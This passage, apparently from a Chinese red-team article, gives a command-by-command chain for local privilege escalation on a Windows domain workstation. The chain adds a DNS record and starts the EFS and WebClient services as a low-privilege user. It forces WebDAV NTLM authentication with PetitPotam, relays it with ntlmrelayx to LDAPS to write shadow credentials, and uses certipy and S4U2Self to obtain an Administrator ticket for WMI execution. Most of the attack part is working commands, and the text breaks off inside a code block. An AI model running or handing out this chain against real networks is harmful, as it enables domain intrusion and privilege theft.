normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">去而复返：本地权限提升</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">现在我们的基础设施已就绪，包括一台将 </span><em><span leaf="">443/TCP</span></em><span leaf="">流量转发到我们红队基础设施的云端虚拟机和通过委托访问代理运行的 SOCKS5 代理，攻击技术指南终于可以开始了。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5030674846625767" data-s="300,640" data-type="webp" data-w="489" type="block" data-imgfileid="100012990" src="https://wechat2rss.xlab.app/img-proxy/?k=ec9ba8c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiafwx7nDfibfoKyYjUcrYxn8Qj1Pg4fRCjSY443icxqH1p0ic8mh9aoO6XFJnBIQic4LBaW5E89vGPV5tjT2X1uKwYwVDOhwjZOdOU%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本示例将展示上述&#34;去而复返&#34;技术，用于在互联网上强制触发并接收出站的 NTLM WebDAV 认证，并涵盖将该认证中继到目标 LDAP/LDAPS 服务，然后利用获得的访问权限进行本地权限提升。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">强制触发 WebDAV NTLM 认证的要求之一是向域中添加 DNS 记录，这可以通过低权限域用户访问完成。要通过委托访问完成此操作且无需事先知道当前用户上下文的明文密码，请通过从当前登录会话中提取或使用当前用户上下文请求来获取 Kerberos 票据。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25" data-s="300,640" data-type="webp" data-w="1152" type="block" data-imgfileid="100012992" src="https://wechat2rss.xlab.app/img-proxy/?k=076ef8a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSj9jmZzXTvgdKmpfnMyVZCyXVrPOafOnlvuds7FtW0sTWkLh1LuBtlY3RF5A41vl75bhiaDJ3OKQFWNJPZicicQVN13HloH0zicukA%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.18518518518518517" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100012993" src="https://wechat2rss.xlab.app/img-proxy/?k=4a4ca7bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSia2BGCsknUZ0ia5p22e8QfzVOku4K1fzIjonKD7wPyZTiaRyw8cicF4MqEeFiadNHpQrqGwnA8q8t1yKKlLTibOhG4ib57zC3scBvsBc%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果使用了凭据保护（Credential Guard），请提取 LDAP 服务票据而不是登录会话 TGT。即使在凭据保护启用的情况下，服务票据仍然可以从当前登录会话中提取，而无需触及 LSASS。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从当前登录会话中提取 base64 编码的 Kerberos 数据块后，解码数据并将其通过管道写入 Linux 操作虚拟机磁盘上的文件。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">echo &#39;doIGLk...[snip]...&#39; | base64 -d &gt; ticket.kibri</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1855921855921856" data-s="300,640" data-type="webp" data-w="819" type="block" data-imgfileid="100012994" src="https://wechat2rss.xlab.app/img-proxy/?k=3466f7dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSjFuJcYON7NswbYXOfVIAlicPornPHC7gon4lXeU8CiaYy2WXC6CAELqQfLdHGPA155VqwtsFhrVwVlibBmT85XvW1mE62p9ngdiaE%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 Impacket 的 ticketConverter.py 脚本将票据从 .kirbi 格式转换为 .ccache 文件，以便通过 SOCKS5 代理与 Impacket 工具一起使用。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">ticketConverter.py ticket.kirbi ticket.ccache</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.19666666666666666" data-s="300,640" data-type="webp" data-w="600" type="block" data-imgfileid="100012995" src="https://wechat2rss.xlab.app/img-proxy/?k=a6abaf14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjRxcKpnHhNbqv51WoLsxwQ9Lic6w2LaqRr59U0b5XZQo18IhCUpObfwJGCIoOicPRIF7ytNoZ4lhQMkkcq0npG6a1Buic8VrXAFg%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">票据格式正确后，使用 Dirk-Jan 的 Krbrelayx 项目中的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">dnstool.py</span></code><span leaf="">，以低权限用户（默认）身份使用提取的 LDAP 票据添加 DNS 记录，指向云端虚拟机的公网 IP 地址。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">KRB5CCNAME=ticket.ccache proxychains4 python3 dnstool.py -k -u ludus.domain\\domainuser -r relayhost.ludus.domain -dns-ip 10.2.10.10 -a add -d 40.90.233.199 dc01.ludus.domain</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.23337856173677068" data-s="300,640" data-type="webp" data-w="737" type="block" data-imgfileid="100012996" src="https://wechat2rss.xlab.app/img-proxy/?k=56a7c827&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShicoPa1fO1exWLznQ2c1d6viaf7ciafic0ySqyK3iadq1vEkwpZTvaWpLvon4lj4IT0xWL2iab9udtnvTpWWHvl7EmOdscliaIEB1aOA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">除了添加 DNS 记录外，要通过 EFSRPC 强制触发 WebDAV 认证，目标系统上的 EFS 服务必须正在运行。幸运的是，这个脚本提供了一个未经认证的 RPC 服务触发器，用于启动 EFS 服务。通过代理执行此脚本，目标指向本地主机的环回接口，无需管理员权限即可在本地系统上启动 EFS 服务。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">proxychains4 rpc2efs.py 127.0.0.1</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.17940199335548174" data-s="300,640" data-type="webp" data-w="602" type="block" data-imgfileid="100012998" src="https://wechat2rss.xlab.app/img-proxy/?k=53d5b39e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSgCW9eHUyN3r2bySXtMdJWhuUT0iaTP35ybJ7UEUvbmpmTGDbxrkKxV5RQlbDnyESCicHGXUmcVhDgdPgQU0kCdVHiblY22hynibfQ%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WebClient 也必须启动才能强制触发有效的 WebDAV NTLM 认证，目前没有办法远程启动 WebClient，但以非管理员身份在本地系统上启动 WebClient 是轻而易举的。在本地系统上执行 Outflank 的 StartWebClient BOF。该 BOF 使用 Windows 事件跟踪（ETW）事件触发器从低权限用户上下文启动 WebClient 服务。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2017716535433071" data-s="300,640" data-type="webp" data-w="1016" type="block" data-imgfileid="100013001" src="https://wechat2rss.xlab.app/img-proxy/?k=7a26542b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaheIM4NXIam9tDbxQBAr5ZwqV5icuEp2fqW90Qo0OsIX2DWkf9Dv1jo3SL5ialFtH9GoT7sKrDFwXhqAiadEfdibtPfOrvhAVCEPc%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本地系统准备好胁迫后，在 Linux 操作虚拟机上启动 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntlmrelayx.py</span></code><span leaf="">服务器，将 HTTP 端口指定为 </span><em><span leaf="">443/TCP</span></em><span leaf="">，并指定影子凭据写入作为指定的后渗透技术。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">proxychains4 ntlmrelayx.py -t ldaps://10.2.10.10 --shadow-credentials --no-dump --no-da --no-acl --no-validate-privs --http-port 443</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6576454668470907" data-s="300,640" data-type="webp" data-w="739" type="block" data-imgfileid="100013003" src="https://wechat2rss.xlab.app/img-proxy/?k=f28511f7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSiaNvMSiarSN03RTfoVqkzvyIntu1hMLYLXEfIPHlBUkxhuLgEnY6CKoiaL4CKMHgGF3CVyBMuEVB3aibibEwMiceKM9ZBO0RUWicfIQ4%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最后，通过 PetitPotam 触发 EFSRPC 胁迫，在 WebDAV 连接字符串中包含新创建的 DNS 记录和监听端口，目标指向本地系统。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">proxychains4 python3 PetitPotam/PetitPotam.py -u domainuser -p password -d ludus.domain &#39;relayhost@443/test&#39; 127.0.0.1</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7017001545595054" data-s="300,640" data-type="webp" data-w="647" type="block" data-imgfileid="100013005" src="https://wechat2rss.xlab.app/img-proxy/?k=b91ed6cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgW7efgjoF1Z1tzd8pu6MKRM9G04nN7pEgyc8ur135SxFmneliay04cpgSC8u0dMoqOIRFo7gj2mSiawBtfdGKeVVib7H5j5LiborE%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">回看 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntlmrelayx.py</span></code><span leaf="">服务器，应该会有一个有效连接通过并迅速被代理到中继命令中指定的目标服务。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ntlmrelayx.py</span></code><span leaf="">会自动将攻击者持有的自签名证书数据写入被中继账户的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msDs-KeyCredentialLink</span></code><span leaf="">属性，使我们能够使用该证书作为被中继账户请求 TGT。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4039580908032596" data-s="300,640" data-type="webp" data-w="859" type="block" data-imgfileid="100013010" src="https://wechat2rss.xlab.app/img-proxy/?k=b6feae83&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSja4zkZUZiahicVK7icwk2jQbtic1ptxbex2wqiae3cHUSnMLOQNnaFvblWObvBjJf8oKr8xWOa8dArpbySZqQ6HRLqLLkEembGB9Xw%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">影子凭据写入后，工作站距离被完全攻陷只有几步之遥。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">certipy</span></code><span leaf="">以本地工作站计算机账户 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WORKSTATION$</span></code><span leaf="">的身份，利用影子凭据写入，为该主体请求 TGT。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">proxychains4 certipy auth -pfx cXI1r2KL.pfx -password WmWl5PwOcdPCciiPro8d -no-hash -domain ludus -dc-ip 10.2.10.10 -username &#39;WORKSTATION$&#39;</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.404553415061296" data-s="300,640" data-type="webp" data-w="571" type="block" data-imgfileid="100013013" src="https://wechat2rss.xlab.app/img-proxy/?k=b6d5d958&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSje0U47c5iad7k5Ic0pmGFU2wzqND470HpGq22zMNWfVaLicDFrqdRj9aHZUIK3mk8Oj074d4BVoeJxuz0Urj9axcePLkMWbyzwc%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接下来，使用以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WORKSTATION$</span></code><span leaf="">身份请求的 TGT 和 S4U2Self 请求一个额外的票据，模拟任意管理员账户在与 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">WORKSTATION$</span></code><span leaf="">AD 对象相关的任意服务主体名称（SPN）上，包括 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cifs/workstation.ludus.domain</span></code><span leaf="">以通过 SMB 执行管理员操作。这相当于使用计算机账户的 NT 哈希伪造银票据，只是通过合法的 Kerberos 交互和委派来实现。这是可能的，因为指定 SPN 的票据……</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">proxychains4 python3 PKINITtools/gets4uticket.py &#39;kerberos+ccache://ludus.domain\WORKSTATION$:workstation.ccache@10.2.10.10&#39; &#39;cifs/workstation.ludus.domain@ludus.domain&#39; &#39;Administrator@ludus.domain&#39; admin.ccache</span></code></pre><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3087971274685817" data-s="300,640" data-type="webp" data-w="557" type="block" data-imgfileid="100013014" src="https://wechat2rss.xlab.app/img-proxy/?k=82f735d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShFwwjfGaABwxevic3yLFMia333frIuagjDontvuH6dDRB2wkRbhhz4oStwQmmicB4FtnpmneCbLdibhSD0k11jkUBPnTkyBgcHgWc%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">通过 S4U2Self 请求到管理员用户票据后，使用该票据通过 SOCKS5 代理在本地主机上执行管理员操作。例如，通过 Windows 管理规范（WMI）执行命令，以管理员身份启动用于提供原始访问的磁盘上的代理。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code 